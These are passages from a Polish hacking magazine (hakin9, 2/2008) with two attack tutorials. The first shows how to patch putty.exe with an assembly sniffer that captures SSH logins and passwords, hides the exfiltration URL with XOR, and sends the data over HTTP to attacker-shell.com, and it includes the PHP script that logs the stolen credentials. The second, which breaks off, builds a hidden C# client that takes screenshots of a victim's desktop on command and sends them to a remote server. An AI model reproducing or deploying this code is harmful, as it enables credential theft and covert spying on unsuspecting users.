Kod  sniffera  został  napisany 

z myślą o kompilatorze TASM. Mu-
si on zostać skompilowany jako plik 

COM. W tym celu wydajemy nastę-
pujące komendy:

tasm /x puttysnf.asm
tlink /x /3 /t puttysnf.obj

W  wyniku  otrzymamy  plik  putty-
snf.com
,  który  zawiera  czysty  kod, 
bez  żadnych  nagłówków  –  dzię-
ki  czemu  jego  zawartość  może  zo-
stać wstawiona bezpośrednio do pli-

ku putty.exe pod adres 

0x4F4D1

 (nad-

pisując nasz testowy kod). 

Do wstawienia pliku możemy użyć 

programu  Hiew.  Przechodzimy  pod 
offset 

0x4F4D1

,  zaznaczamy  odpo-

wiednio duży blok klawiszem (*) (kla-
wisz  musimy  wcisnąć  dwukrotnie  w 
celu zaznaczenia początku oraz koń-
ca  bloku),  wciskamy  (CTRL-F2)  aby 
wywołać funkcję 

GetBlk

, która pozwa-

la określić plik do wstawienia. Wska-
zujemy ścieżkę do pliku puttysnf.com i 
zatwierdzamy klawiszem (enter).

Po  zapisaniu  zmian  klawiszem 

(F9)  PuTTY  powinien  wyświe-
tlić  komunikat  zawierający  łańcuch 

created _ string

  zaraz  po  podaniu 

hasła. Okienko to możemy zobaczyć 
na Rysunku 8.

Przesyłamy dane na serwer

Potrafimy  już  przechwycić  dane 
wprowadzane  przez  użytkownika 
oraz  wyświetlić  je  na  ekranie.  Na-
szym  ostatecznym  celem  jest  jed-
nak  przesłanie  uzyskanych  danych 
na wybrany przez nas serwer – tak, 
aby cały proces stał się niewidoczny 
dla użytkownika. 

Do przesłania danych na serwer 

będzie  potrzebny  kanał  komunika-
cyjny. Moglibyśmy wysłać dane jako 
wiadomość e-mail stosując protokół 
SMTP, jednak obsługa tego typu ko-
munikacji  wymagałaby  sporego  na-
kładu kodu asemblera i byłaby dość 
pracochłonna. 

Najprostszym  sposobem  prze-

słania  danych  na  serwer  jest  uży-
cie protokołu HTTP – z tego wzglę-
du,  iż  system  Windows  oferuje 
spory  zestaw  gotowych  do  użycia 
funkcji  przeznaczonych  do  obsłu-
gi  tego  protokołu.  Wykorzystując 
transmisję HTTP jesteśmy w stanie 
przesłać  przechwycone  dane  jako 
parametr  do  skryptu  PHP  umiesz-
czonego  na  odległym  serwerze. 
Implementacja  tego  rozwiązania 
sprowadza  się  do  utworzenia  ad-
resu  URL  (adres  do  skryptu  +  pa-
rametr  zawierający  przechwycone 
dane)  oraz  do  jego  otwarcia  przy 
użyciu  odpowiedniej  funkcji  Win-
dows obsługującej HTTP.

Kod  przykładowej  procedury 

korzystającej  z  HTTP  do  przesła-

Rysunek 9. 

Pomyślnie przechwycone dane pojawiają się w pliku pass.log 

na koncie atakującego 

Listing 4. 

Nagłówki użytych funkcji

HINTERNET

 

InternetOpen

(

  

__in

          

LPCTSTR

 

lpszAgent

,

  

__in

          

DWORD

 

dwAccessType

,

  

__in

          

LPCTSTR

 

lpszProxyName

,

  

__in

          

LPCTSTR

 

lpszProxyBypass

,

  

__in

          

DWORD

 

dwFlags

HINTERNET

 

InternetOpenUrl

(

  

__in

          

HINTERNET

 

hInternet

,

  

__in

          

LPCTSTR

 

lpszUrl

,

  

__in

          

LPCTSTR

 

lpszHeaders

,

  

__in

          

DWORD

 

dwHeadersLength

,

  

__in

          

DWORD

 

dwFlags

,

  

__in

          

DWORD_PTR

 

dwContext

);

BOOL

 

WINAPI

 

CryptBinaryToString

(

  

__in

          

const

 

BYTE

*

 

pbBinary

,

  

__in

          

DWORD

 

cbBinary

,

  

__in

          

DWORD

 

dwFlags

,

  

__in

          

LPTSTR

 

pszString

,

  

__in_out

      

DWORD

*

 

pcchString

);

background image

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

27

nia danych na wejście skryptu PHP 
został przedstawiony na Listingu 3. 
Prześledźmy  jej  działanie.  Proce-
dura zaczyna się od pętli kopiującej 
adres URL (prowadzący do skryp-
tu  PHP)  do  sekcji  .data,  aby  moż-
liwe  stało  się  dopisanie  parametru 
(

data=

)  zawierającego  przechwy-

cone  dane.  Kolejnym  etapem  jest 
załadowanie  odpowiednich  biblio-
tek  potrzebnych  do  otwarcia  adre-
su URL. 

Załadowane zostają dwie biblio-

teki: crypt32.dll oraz wininet.dll. Za-
ładowanie  ich  jest  konieczne,  po-
nieważ  biblioteki  te  nie  są  wyko-
rzystywane  przez  program  PuTTY. 
Pierwsza  biblioteka  zawiera  funk-
cję 

CryptBinaryToStringA

, natomiast 

druga – funkcje potrzebne do wysła-
nia zapytania HTTP (otwarcia adre-
su URL). 

Funkcja 

CryptBinaryToStringA

 

została wykorzystana w kodzie pro-
cedury  do  konwersji  przechwyco-
nych  danych  (przechowywanych 
w łańcuchu 

created _ string

) na kod 

Base64. Kod 

Base64

 gwarantuje po-

prawne  przesłanie  danych  nawet 
w przypadku, gdy użytkownik wpro-
wadzi  znaki  zakazane  w  adresach 
URL. Dodatkowo kod Base64 spra-
wi,  że  zapytania  HTTP  staną  się 
mniej podejrzane dla osób przeglą-
dających logi serwera HTTP.

Na tym etapie wykonywania pro-

cedury  adres  URL  w  pamięci  ma 
następujący  format:  http://attacker-
shell.com/putty.php?data=[base64_
code]
.Ostatnią  czynnością  jest  wy-
wołanie  funkcji: 

InternetOpenA

  oraz 

InternetOpenUrlA

,  które  to  odpowie-

dzialne  są  za  nawiązanie  połącze-
nia HTTP i przekazanie danych (za-
kodowanych w Base64) do wskaza-
nego skryptu PHP. 

Warto  tu  zauważyć,  że  proce-

dura  każdorazowo  sprawdza  kod 
powrotu  funkcji 

GetProcAddress

.  Ta-

ki test zapobiegnie zawieszeniu się 
programu PuTTY w momencie, gdy 
jedna  z  ładowanych  funkcji  okaże 
się  być  niedostępna  w  danym  sys-
temie. Może się tak zdarzyć w przy-
padku funkcji 

CryptBinaryToStringA

która  to  –  choć  bardzo  wygod-
na – sprawia, że kod staje się ma-

ło  przenośny  (jest  dostępna  dopie-
ro  w  systemach  Windows  XP,  oraz 
Windows Vista). Dlatego, jeśli prze-
nośność  kodu  jest  dla  nas  najważ-
niejsza, powinniśmy rozważyć napi-
sanie własnej funkcji konwertującej 
dane na kod Base64.

Kod  procedury  należy  wstawić 

do  głównego  kodu  naszego  snif-
fera,  tzn.  do  pliku  puttysnf.asm 
(np. na końcu pliku, zaraz nad linij-
ką  zawierającą  napis:  code  ends). 
Przed  zapisaniem  zmian  w  pliku 
musimy również usunąć wywołanie 
funkcji 

MessageBoxA

 (wraz ze wszyst-

kimi  parametrami  zapisywanymi 
na stosie instrukcją 

push

), aby zapo-

biec  dalszemu  wyświetlaniu  komu-
nikatu z danymi na ekranie. W miej-
scu  wywołania 

MessageBoxA

  wsta-

wiamy instrukcję: 

call   send_data

która to wywoła procedurę wysyła-
jącą dane na serwer. 

Tak  powstały  kod 

puttysnf.asm

 

kompilujemy  w  identyczny  spo-
sób,  jak  poprzednio.  Musimy  jed-
nak  poddać  drobnej  edycji  otrzy-
many  plik  COM  przed  wsta-
wieniem  go  do  pliku  putty.exe
Procedura 

send _ data

  wykonu-

je  jeszcze  jedną  operację,  która 
nie  została  jeszcze  wspomniana. 
W  pętli 

copy _ str

  znajduje  się  in-

strukcja 

xor

  (exclusive  or).  Każ-

dy znak adresu URL przed skopio-
waniem  do  pamięci  jest  XORowa-
ny wartością 

0x7F

. Spowoduje to, że 

podany  przez  nas  adres  URL  (za-
deklarowany  w  zmiennej 

str1

)  po 

zakodowaniu operacją XOR będzie 
kompletnie  nieczytelny  dla  funkcji 

InternetOpenUrlA

.  W  konsekwen-

cji  –  przechwycone  dane  nie  zo-
staną  przesłane  do  skryptu  PHP. 
Rozwiązanie  tego  problemu  jest 
proste.  Operacja 

XOR

  jest  komplet-

nie odwracalna, dlatego wystarczy, 
że zakodujemy nasz URL operacją 

XOR

 z takim samym kluczem (to jest 

0x7F

). Ponowne użycie operacji 

XOR

 

przez funkcję 

send _ data

 da w wy-

niku niezakodowany adres URL. 

Dzięki  temu  zabiegowi  podany 

przez  nas  adres  URL  będzie  nie-

widoczny dla osoby postronnej, gdy 
ta zdecyduje się podejrzeć plik put-
ty.exe
  przy  pomocy  edytora  szes-
nastkowego. 

Edytor Hiew pomoże nam zXO-

Rować  bajty  adresu  URL.  Wystar-
czy  wczytać  plik  COM  do  edyto-
ra,  przejść  na  widok  szesnastko-
wy oraz wcisnąć klawisz (F3) w ce-
lu  rozpoczęcia  edycji.  Następnie 
na  końcu  pliku  odszukujemy  adres 
URL,  po  czym  wciskamy  (F8)  aby 
wywołać  funkcję  XOR  na  każdym 
ze znaków adresu (pomijając ostat-
ni  bajt 

NULL

,  który  to  kończy  string 

i  musi  pozostać  niezakodowany). 
Jako klucz (

xor mask

) podajemy war-

tość 

0x7F

. Po zapisaniu zmian klawi-

szem  (F2),  wstawiamy  tak  przygo-
towany plik COM do pliku putty.exe 
pod offsetem: 

0x4F4D1

Skrypt PHP 

Pozostaje  nam  utworzenie  skryptu 
PHP,  który  będzie  współpracował 
z  naszym  snifferem,  odbierając 
przechwycone  informacje.  Skrypt 
ten musi wykonać trzy czynności:

  odczytać dane przesłane metodą 

GET

 na jego wejście jako parametr 

o nazwie data,

  skonwertować  kod 

Base64

  (któ-

rym  zakodowane  są  dane)  na 
czysty tekst,

  zapisać  zdekodowane  informa-

cje (login/hasło/hostname) w pli-
ku na serwerze.

Listing  4.  przedstawia  przykład 
skryptu  realizującego  wymienione 
zadania.  Skrypt,  oprócz  przechwy-
conych  danych,  rejestruje  w  pliku 
datę oraz czas nadejścia zapytania. 
Rejestrowany  jest  również  adres  IP 
komputera,  na  którym  uruchomiony 
został  program  PuTTY  zawierający 
naszego  sniffera.  Skrypt 

putty.php

 

do  poprawnego  działania  wymaga 
obecności  pliku  pass.log  w  swoim 
katalogu.  Plik  ten  musi  mieć  nada-
ne  uprawnienia  zapisu  dla  demo-
na  WWW  (wydanie  komendy 

chmod 

o+w  pass.log

  powinno  wystarczyć), 

w  przeciwnym  wypadku  rejestracja 
otrzymanych danych w pliku nie bę-
dzie możliwa.

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

28

Posiadając  skrypt  putty.php  na 

serwerze,  możemy  już  uruchomić 
zmodyfikowaną  przez  nas  wersję 
programu  PuTTY,  próbując  zalogo-
wać  się  poprzez  SSH  na  posiada-
ne przez nas konto. Jeśli nasz sniffer 
działa  poprawnie,  w  pliku  putty.log 
powinny  pojawić  się  wpisane  przez 
nas podczas 

Podsumowanie

Artykuł  pokazuje,  że  modyfikacja 
aplikacji bez dostępu do jej kodu źró-
dłowego  jest  jak  najbardziej  możli-
wa.  Udało  się  nam  odnaleźć  miej-
sce, w którym program PuTTY prze-
chowywał  wprowadzone  znaki  oraz 
dopisać  kod  sniffera,  przechwytują-
cego wrażliwe informacje. To jednak 
nie wszystko – moglibyśmy posunąć 
się o krok dalej i zmodyfikować pro-
gram PuTTY tak, aby nie tylko prze-
chwytywał hasła wpisane w momen-
cie logowania do zdalnego systemu 
na początku sesji SSH, ale również 
hasła wpisywane po wywołaniu sys-
temowych  komend,  jak 

passwd

ssh

czy 

su

 (uwzględnienie ostatniego po-

lecenia stwarza możliwość pozyska-
nia  haseł  administratora  systemu). 
Istnieje  również  możliwość  logowa-
nia całych sesji. 

PuTTY nie jest tu oczywiście wy-

jątkiem.  Podobna  tylna  furtka  mo-
głaby  zostać  osadzona  w  wielu  in-
nych programach z zamkniętym ko-
dem – w tym klientach FTP, progra-
mach  pocztowych,  komunikatorach 
internetowych  czy  przeglądarkach 

WWW. A zatem w aplikacjach, które 
mogą posiadać lub przesyłać istotne 
z punktu widzenia atakującego infor-
macje. Dlatego możemy uznać tego 
typu  modyfikacje  za  poważne  za-
grożenie,  które  może  zostać  wyko-
rzystane  jako  atak  na  użytkownika 
i jego dane. 

Należy  tu  zaznaczyć,  że  tak 

zmodyfikowany  program  PuTTY 
nie  jest  uznawany  za  niebezpiecz-
ny przez oprogramowanie antywiru-
sowe.  Przed  tego  typu  atakiem  nie 
obroni  nieświadomego  użytkownika 
również  zapora  ogniowa.  Jest  to 
spowodowane  tym,  iż  większość 
użytkowników  przy  pierwszym  uru-

chomieniu  programu  PuTTY  naka-
zuje, aby zapora ogniowa przepusz-
czała  cały  ruch  generowany  przez 
tę  aplikację  (zamiast  zezwolić  tylko 
i wyłącznie na ruch SSH), uznając ją 
za całkowicie godną zaufania. W ta-
kim przypadku połączenie HTTP na-
wiązane przez sniffera w celu prze-
słania haseł nie zostanie zablokowa-
ne przez zaporę.

Niezmiernie  ważne  jest,  aby 

użytkownik,  uruchamiając  program 
pobrany z Sieci sprawdzał, czy nie 
został  on  czasem  zmodyfikowany 
przez  osoby  trzecie  (porównując 
sumy kontrolne ściągniętych plików 
z podanymi na stronie producenta). 
Powinniśmy również unikać urucha-
miania aplikacji dostępnych na kom-
puterach  w  miejscach  publicznych 
typu  kafejki  internetowe  czy  biblio-
teki.  Lepiej  przeznaczyć  dodatko-
we parę minut na pobranie aplikacji 
ze strony producenta niż uruchomić 
plik  (który  każdy  mógł  podmienić) 
bezpośrednio z pulpitu. Powinniśmy 
się  również  wystrzegać  pobierania 
programów  ze  stron  z  oprogramo-
waniem,  które  pozwalają  każdemu 
użytkownikowi  serwisu  na  wgranie 
dowolnego  programu  pod  dowolną 
nazwą.  Nigdy  nie  wiadomo,  na  co 
trafimy. l

W Sieci

•  ftp://ftp.chiark.greenend.org.uk/users/sgtatham/putty-0.60/x86/putty.exe  –  wersja 

programu PuTTY, na której bazuje artykuł,

•  http://www.secretashell.com/codomain/peid/download.html  –  program  PeiD, 

przeznaczony do analizy plików PE,

•  http://www.hiew.ru – edytor szesnastkowy Hiew,
•  http://www.ollydbg.de/odbg110.zip – debugger OllyDbg,
•  http://msdn.microsoft.com/msdnmag/issues/02/02/PE – artykuł opisujący budo-

wę plików PE,

•  http://msdn2.microsoft.com/en-us/library/aa385473.aspx – lista funkcji biblioteki 

wininet.dll wraz z dokładnymi opisami ich wywołania.

O autorze

Dawid Gołuński jest pasjonatem, badaczem bezpieczeństwa komputerowego, intere-
sującym się informatyką od wielu lat – w szczególności aspektami związanymi z bez-
pieczeństwem, administracją systemami i sieciami, inżynierią odwrotną oraz progra-
mowaniem. Część swojego czasu spędza jako niezależny security researcher.
Kontakt z autorem: golunski@crackpl.com 

Listing 5. 

putty.php – skrypt odbierający przechwycone dane

<?

php

  

 // Dane zostaja odebrane, zdekodowane oraz zaladowane do odpowiednich 

zmiennych

   

$data

 = 

$_GET

[

'data'

]

;

   

parse_str

(

 base64_decode

(

$data

)

 

)

;

  

 // Pobranie biezacej daty i godziny

   

$cur_date

 = 

date

(

"d/m/y : H:i:s"

time

())

;

   

$new_entry

 = 

"-----:[ Sent on 

$cur_date

 ]:-----

\n

"

;

   

$info

 = 

"From IP address: "

 . 

$_SERVER

[

'REMOTE_ADDR'

]

 . 

"

\n\n

"

;

   

$auth

 = 

"Login: 

$l

 

\n

Password: 

$p

 

\n

Hostname: 

$h

 

\n\n\n

"

;

  

 // Zapis przechwyconych danych w pliku pass.log

   

$log_file

 = 

fopen

(

"pass.log"

"a"

)

;

   

if

 

(

$log_file

)

 

{

      

fwrite

(

$log_file

$new_entry

 . 

$info

 . 

$auth

)

;

   

}

   

fclose

(

$log_file

)

;

?>

background image
background image

www.hakin9.org

hakin9 Nr 2/2008

30

Atak

T

ym  razem  nie  skorzystamy  z  mecha-
nizmu  haków  Windows,  lecz  stworzy-
my  klasyczny  projekt  typu  klient-ser-

wer.  Klient  będzie  uruchamiany  na  kompute-
rze  zdalnym  i  będzie  oczekiwał  na  komendę 
od serwera. Po jej otrzymaniu klient zrobi zrzut 
ekranu, po czym dane te prześle do serwera. 
W projekcie użyjemy protokołu TCP do przesy-
łania zrzutu ekranu. Za pomocą protokołu UDP 
będziemy przesyłać do serwera dane dotyczą-
ce dostępności klientów. Dodatkowo wykorzy-
stamy programowanie wielowątkowe. Aplikację 
klienta  oraz  serwer  napiszemy  używając  dar-
mowego środowiska Visual C# 2005 Express 
Edition.  Będą  to  tradycyjne  projekty  Windows 
Forms,  choć  oczywiście  nie  stoi  nic  na  prze-
szkodzie,  aby  użyć  projektów  Windows  Pre-
sentation  Fundation.  Zakładam,  że  Czytelnik 
posiada podstawową wiedzę z zakresu progra-
mowania w języku C# dla platformy .NET.

Klient

Aplikację  klienta  napiszemy  jako  pierwszą. 
Będzie  ona  standardowym  projektem  typu 
Windows Forms, w którym użyjemy klas plat-
formy  .NET  odpowiedzialnych  za  programo-
wanie  sieciowe.  Będzie  to  aplikacja  urucha-

miana na komputerze zdalnym, więc zadbamy 
o to, aby była tam jak najmniej widoczna. Pro-
jekt  ten  można  połączyć  następnie  z  projek-
tem serwera w ramach jednego zbioru projek-
tów (Solution).

Podglądanie pulpitu

Sławomir Orłowski

stopień trudności

Używając mechanizmu haków w systemie Windows, możemy 

swobodnie przechwytywać poufne dane wprowadzane 

z klawiatury (hakin9 1/2008). Pora teraz podpatrzeć, 

co użytkownik robi na swoim komputerze.

Z artykułu dowiesz się

•   jak  z  poziomu  kodu  C#  utworzyć  połączenie 

TCP,

•   jak z poziomu kodu C# wysłać dane za pomo-

cą protokołu UDP,

•   w  jaki  sposób  używać  komponentów  klasy 

BackgroundWorker,

•   jak używać strumieni do programowania siecio-

wego.

Co powinieneś wiedzieć

•   podstawowa  znajomość  języka  C#  i  platformy 

.NET,

•   jak używać środowiska Visual C# Express Edi-

tion,

•   podstawy  programowania  zorientowanego 

obiektowo,

•   podstawowa  znajomość  sieci  komputero-

wych. 

background image

Podglądanie pulpitu

hakin9 Nr 2/2008

www.hakin9.org

31

Zrzut ekranu

Na  początku  warto  napisać  meto-
dę, za pomocą której będziemy mo-
gli  wykonywać  zrzuty  ekranu.  Roz-
poczynamy  zatem  nowy  projekt 
Windows  Forms.  Niech  nazywa  się 
Klient.  Pozostawimy  również  do-
myślną  nazwę  Form1,  która  repre-
zentuje  okno  (formę)  naszej  aplika-
cji.  Umieścimy  ją  wewnątrz  klasy 

Form1

 (Listing 1). Aby mieć wygodny 

dostęp do klas i metod umożliwiają-
cych  wykonanie  zrzutu  ekranu,  mu-
simy dodać jeszcze przestrzeń nazw 

System.Drawing.Imaging

.

Zasadniczym elementem napisa-

nej przez nas metody 

makeScreenshot

 

jest  użycie  metody 

CopyFromScreen

 

klasy 

Graphics

. Wykonuje ona kopię 

obrazu  ekranu.  Jej  pięć  pierwszych 
argumentów określa obszar ekranu, 
który będzie skopiowany. Ostatni ar-
gument (

CopyPixelOperation

) określa 

sposób  kopiowania  poszczególnych 
pikseli.  My  wybraliśmy 

SourceCopy

co  oznacza  dokładne  kopiowanie. 
Można  jeszcze  np.  odwrócić  kolo-
ry itd. Metoda 

FromImage

 tworzy no-

wy  obiekt  klasy 

Graphics

  z  określo-

nego obrazu.

Przesyłanie zrzutu 

ekranu

Przesyłanie kopii ekranu można zre-
alizować  na  kilka  sposobów.  Najła-
twiej  jest  wysyłać  dane  co  pewien 
odstęp  czasu.  Można  do  tego  użyć 
komponentu 

Timer

. Ja jednak chcia-

łem zaproponować rozwiązanie bar-
dziej uniwersalne, choć – ze wzglę-
du  na  implementację  –  dosyć  nie-
typowe.  Niech  użytkownik  serwera 
sam zdecyduje, kiedy chce wykonać 
zdalny zrzut ekranu. 

W tym celu klient musi oczekiwać 

na odpowiednią komendę od serwe-
ra,  czyli  w  aplikacji  klienta  de  facto 
musimy uruchomić serwer. Podobnie 
jak  w  przypadku  protokołu  FTP,  my 
również użyjemy do obsługi połącze-
nia dwóch portów. Jeden będzie od-
powiedzialny za komendy, a drugi za 
przesyłanie  danych.  Dzięki  takiemu 
rozwiązaniu  komendy  będą  wysyła-
ne  do  klienta  niezależnie  od  prze-
syłanych  danych.  Umożliwi  nam  to 
wstrzymanie  bądź  zatrzymanie  wy-

syłania.  W  przypadku  używania  tyl-
ko jednego portu do obu tych opera-
cji nie mielibyśmy takich możliwości. 
Serwer musi przechowywać listę ak-
tualnie dostępnych klientów. Wystar-
czy  więc,  że  klient  w  momencie  ini-
cjalizacji prześle informacje o swojej 
dostępności. Dla platformy .NET za-
projektowano dwie klasy, które służą 
do połączenia TCP. Są to 

TCPListener

 

TCPClient

Pierwsza  spełnia  rolę  serwe-

ra,  a  druga  klienta.  Aby  wygodnie 
korzystać  z  klas  służących  do  pro-
gramowania  sieciowego,  w  sekcji 
using programu dodajemy trzy prze-

strzenie  nazw: 

System.Net.Sockets

System.Net

 i 

System.IO

. Do klasy for-

my  dodamy  jeszcze  prywatne  pola, 
które będą przechowywały dane po-
trzebne  do  połączenia  się  z  serwe-
rem  oraz  zrzut  ekranu  (Listing  2). 
Pierwsza  zmienna  będzie  przecho-
wywała port, na jakim będą przesy-
łane komendy. 

Druga  zmienna  zawierać  bę-

dzie adres IP serwera. Testowo ad-
res ten ustawiamy na 127.0.0.1, czy-
li adres pętli zwrotnej. Numer portu, 
na którym będziemy wymieniać da-
ne z serwerem, przechowany będzie 
w  zmiennej 

serverDataPort

.  Zmien-

Listing 1. 

Metoda wykonująca zrzut ekranu

private

 

Bitmap

 

makeScreenshot

()

        

{

            

Bitmap

 

bmp

 

=

 

new

 

Bitmap

(

Screen

.

PrimaryScreen

.

Bounds

.

Width

,

Scree

n

.

PrimaryScreen

.

Bounds

.

Height

PixelFormat

.

Format32bp

pArgb

);

            

Graphics

 

screenshot

 

=

 

Graphics

.

FromImage

(

bmp

);

            

screenshot

.

CopyFromScreen

(

Screen

.

PrimaryScreen

.

Bounds

.

X

Screen

.

P

rimaryScreen

.

Bounds

.

Y

0

0

Screen

.

PrimaryScreen

.

Boun

ds

.

Size

CopyPixelOperation

.

SourceCopy

);

            

return

 

bmp

;

        

}

Listing 2. 

Prywatne pola klasy Form1

private

 

int

 

serverCommandPort

 

=

 

1978

;

private

 

IPAddress

 

serverIP

 

=

 

IPAddress

.

Parse

(

"127.0.0.1"

);

private

 

int

 

serverDataPort

 

=

 

25000

;

private

 

string

 

localIP

 

=

 

null

;

private

 

Bitmap

 

image

;

Rysunek 1. 

Widok projektu interfejsu graficznego serwera

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

32

na 

localIP

  będzie  zawierać  adres 

IP komputera, na którym uruchomio-
ny zostanie klient. Ostatnie zadekla-
rowane przez nas pole będzie prze-
chowywać obraz.

Używając do połączenia TCP klas 

TcpListener

  i 

TcpClient

  działamy  na 

zasadzie blocking socket. Oznacza to, 
że wątek, w którym dokonujemy trans-
akcji TCP będzie zablokowany, dopó-
ki  transakcja  nie  zostanie  zakończo-
na. Jeśli to będzie główny wątek apli-
kacji,  to  jej  interfejs  graficzny  będzie 

niedostępny  w  czasie  trwania  trans-
akcji  TCP.  Zatem  wygodnie  jest  uży-
wać  programowania  wielowątkowe-
go – choć w tym przypadku nie jest to 
konieczne,  ponieważ  nasza  aplikacja 
nie posiada na formie żadnych kontro-
lek. Począwszy od wersji 2.0, platfor-
ma .NET wyposażona jest w wygod-
ny komponent klasy 

BackgroundWorker

Dzięki  niemu  możemy  w  prosty  spo-
sób  wykonywać  podstawowe  opera-
cje wielowątkowe, co w naszym przy-
padku  w  zupełności  wystarczy.  Przy 

skomplikowanym  programie  wielo-
wątkowym lepiej skorzystać jest z klas 
z  przestrzeni  nazw 

System.Threading

Do  projektu  dodajemy  komponent 

backgroundWorker1

. Tworzymy dla nie-

go  metodę  zdarzeniową 

DoWork

,  któ-

ra  odpowiada  za  zadanie,  jakie  bę-
dzie  w  tym  wątku  wykonywane 
(Listing 3). Jak wspomniałem we wstę-
pie, klient powinien oczekiwać na ko-
mendę  wysłaną  przez  serwer,  wyko-
nać zrzut ekranu i dane te przesłać na 
serwer.  Niech  komendą  inicjalizującą 
procedurę  wykonania  zrzutu  ekranu 
będzie  ciąg 

##shot##

.  Konstruujemy 

obiekt klasy 

TcpListener

 i w konstruk-

torze przekazujemy adres IP kompu-
tera oraz port, na jakim aplikacja bę-
dzie nasłuchiwać. Pod zmienną loca-
lIP podstawimy adres IP w konstrukto-
rze klasy 

Form1

 (Listing 4). 

Za  pomocą  metody 

Start

  inicja-

lizujemy  nasłuchiwanie.  Metoda  ta 
nie  blokuje  jeszcze  bieżącego  wąt-
ku. Wątek blokowany jest dopiero po 
użyciu  metody 

AcceptTcpClient

,  któ-

ra  oczekuje  na  połączenie  i  zwraca 
obiekt klasy 

TcpClient

. Za jego pomo-

cą będziemy mogli odczytać dane, ja-
kie otrzymaliśmy podczas połączenia. 
Operacje  sieciowe  dotyczące  odczy-
tu bądź wysyłania przy połączeniach 
TCP to w ogólności operacje na stru-
mieniach. Wystarczy więc umiejętnie 
skonstruować  strumień  i  już  mamy 
możliwość  przesyłania  danych  przez 
sieć. Do obsługi strumienia sieciowe-
go służy klasa 

NetworkStream

. Używa-

jąc metody 

GetStream

 klasy 

TcpClient

 

otrzymujemy  strumień,  który  podsta-
wiamy  do  referencji  ns.  Dalej  za  po-
mocą  metody 

Read

  przepisujemy  do 

bufora typu 

byte[]

 dane, które odczy-

taliśmy ze strumienia. 

Przy  użyciu  metody 

GetString

 

z  klasy 

Encoding

  zamieniamy 

bufor na obiekt typu string. Sprawdza-
my,  jaką  wartość  ma  ten  obiekt  i  je-
żeli  jest  to  komenda 

##shot##

,  wów-

czas  wykonujemy  zrzut  ekranu  i  za-
pisujemy go do pola image. Aby zaj-
mował  on  jak  najmniej  pamięci, 
używamy  kodowania  JPEG.  W  ko-
lejnym  kroku  obraz  zamieniany  jest 
na  strumień  (klasa 

MemoryStream

), 

a  później  na  tablicę  bajtów  (metoda 

GetBuffer

).  Tak  przygotowany  stru-

Listing 3. 

Metoda wywołująca zrzut ekranu, który następnie przesyłany 

jest do serwera 

private void backgroundWorker1_DoWork(object sender,  DoWorkEventArgs e)
  

{

          

TcpListener

 

server

 

=

 

new

 

TcpListener

(

IPAddress

.

Parse

(

localIP

)

serverCommandPort

);

          

serwer

.

Start

();

          

while

 

(

true

)

          

{

              

TcpClient

 

clientCommand

 

=

 

server

.

AcceptTcpClient

();

              

NetworkStream

 

ns

 

=

 

clientCommand

.

GetStream

();

              

Byte

[]

 

b

 

=

 

new

 

Byte

[

8

];

              

int

 

read

 

=

 

ns

.

Read

(

b

0

b

.

Length

);

              

string

 

msg

 

=

 

Encoding

.

ASCII

.

GetString

(

b

);

              

if

 

(

msg

 

==

 

"##shot##"

)

              

{

                  

image

 

=

 

makeScreenshot

();

                  

MemoryStream

 

ms

 

=

 

new

 

MemoryStream

();

                  

image

.

Save

(

ms

ImageFormat

.

Jpeg

);

                  

byte

[]

 

imageByte

 

=

 

ms

.

GetBuffer

();

                  

ms

.

Close

();

                  

try

                  

{

                      

TcpClient

 

client2

 

=

 

new

 

TcpClient

(

serverIP

.

ToString

()

serverDataPort

);

                      

NetworkStream

 

ns2

 

=

 

client2

.

GetStream

();

                      

using

 

(

BinaryWriter

 

bw

 

=

 

new

 

BinaryWriter

(

ns2

))

                      

{

                          

bw

.

Write

((

int

)

imageByte

.

Length

);

                          

bw

.

Write

(

imageByte

);

                      

}

                  

}

                  

catch

 

(

Exception

 

ex

)

                  

{

                  

}

              

}

          

}

  

}

Listing 4. 

Konstruktor klasy Form1

public

 

Form1

()

        

{

            

InitializeComponent

();

            

IPHostEntry

 

IPs

 

=

 

Dns

.

GetHostEntry

(

Dns

.

GetHostName

());

            

localIP

 

=

 

IPs

.

AddressList

[

0

]

.

ToString

();

            

backgroundWorker1

.

RunWorkerAsync

();

        

}

background image

Podglądanie pulpitu

hakin9 Nr 2/2008

www.hakin9.org

33

mień możemy przesłać przez sieć uży-
wając klasy 

TcpClient

. Do przesyłania 

danych binarnych posłużymy się klasą 
BinaryWriter.  Próba  wysłania  danych 
do  serwera  powinna  być  zamknięta 
w  bloku  ochronnym  try-catch,  co 
uchroni  program  przed  zwracaniem 
wyjątków  do  środowiska  uruchomie-
niowego, a co za tym idzie – do zde-
maskowania  się.  Całość  zamknięta 
jest w nieskończonej pętli 

while

Musimy  jeszcze  odczytać  adres 

IP komputera, na którym działa klient 
oraz  uruchomić  wątek  związany 
z  komponentem 

backgroundWorker1

Czynności te wykonamy w konstruk-
torze klasy formy (Listing 4). 

Wysyłanie informacji 

o dostępności klienta

Ważną  funkcjonalnością  aplikacji 
klienckiej  powinno  być  wysyłanie  in-
formacji o dostępności klienta. Dzięki 
temu serwer będzie miał zawsze ak-
tualną listę klientów, którzy są aktyw-
ni.  Użyjemy  do  tego  protokołu  UDP. 
Niech informacja, jaką będzie wysyłał 
klient,  ma  postać  adresIP_klienta:ko-
munikat.  Przy  starcie  klient  powinien 
wysłać  informację,  która  może  wy-
glądać tak: 

127.0.0.1:HI

. Przy kończe-

niu  pracy  powinien  wysłać  informa-
cję 

127.0.0.1:BYE

.  Listing  5  przedsta-

wia  prostą  metodę  wysyłającą  dane 
za pomocą protokołu UDP. Do obsłu-
gi połączenia UDP użyta została klasa 

UdpClient

 i jej metoda 

Send

.

Wystarczy  ją  podczepić  do  zda-

rzenia 

Load

  oraz 

FormClosing

  (Li-

sting 6).

Przypatrzmy  się  jeszcze  przez 

chwilę  sposobowi  działania  klien-
ta.  Aplikacja  ta  będzie  uruchamiana 
na  komputerze  zdalnym  (w  domyśle  
ofiary). Musimy więc zadbać o to, aby 
była  jak  najtrudniejsza  do  odkrycia. 
Na  początek  ukrywamy  okno  apli-
kacji.  Można  to  zrobić  poprzez  wła-
sności 

ShowIcon

  oraz 

ShowInTaskbar

które ustawiamy na 

false

. Własność 

WindowState

 ustawiamy na 

Minimized

W zasadzie moglibyśmy napisać rów-
nież  aplikację  konsolową,  która  nie 
posiadałaby  okna.  Wybrałem  jed-
nak aplikację Windows Forms, ponie-
waż chciałem, aby program mógł być 
później dowolnie modyfikowany – np. 

poprzez  dodawanie  nowych  kontro-
